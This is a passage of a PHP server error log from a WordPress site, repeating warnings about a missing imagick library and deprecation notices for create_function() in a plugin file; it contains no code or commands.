(libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:27:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:27:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:27:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:29:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:29:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:29:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:29:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:30:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:30:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:31:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:31:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:32:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:32:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:35:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:35:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:36:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:36:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:37:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:37:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:38:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:38:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:39:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:39:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:39:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:39:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:39:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:39:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:40:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:40:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:40:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:40:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:40:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:40:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:41:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:41:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:41:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:41:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:41:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:41:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:42:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:42:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:42:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:42:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:42:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:42:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:43:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:43:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:43:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:43:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:44:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:44:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:44:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:44:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:45:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:45:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:45:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:45:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:45:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:45:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:46:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:46:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:46:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:46:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:46:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:46:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:47:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:47:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 06:48:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 06:48:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 07:47:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 07:47:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 08:48:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 08:48:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 09:48:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 09:48:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 10:49:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 10:49:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 11:49:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 11:49:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:27:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:27:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:27:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:27:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:28:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:28:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:28:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:28:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:29:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:29:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:31:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:31:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:32:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [10-Jun-2023 12:32:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [10-Jun-2023 12:33:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), 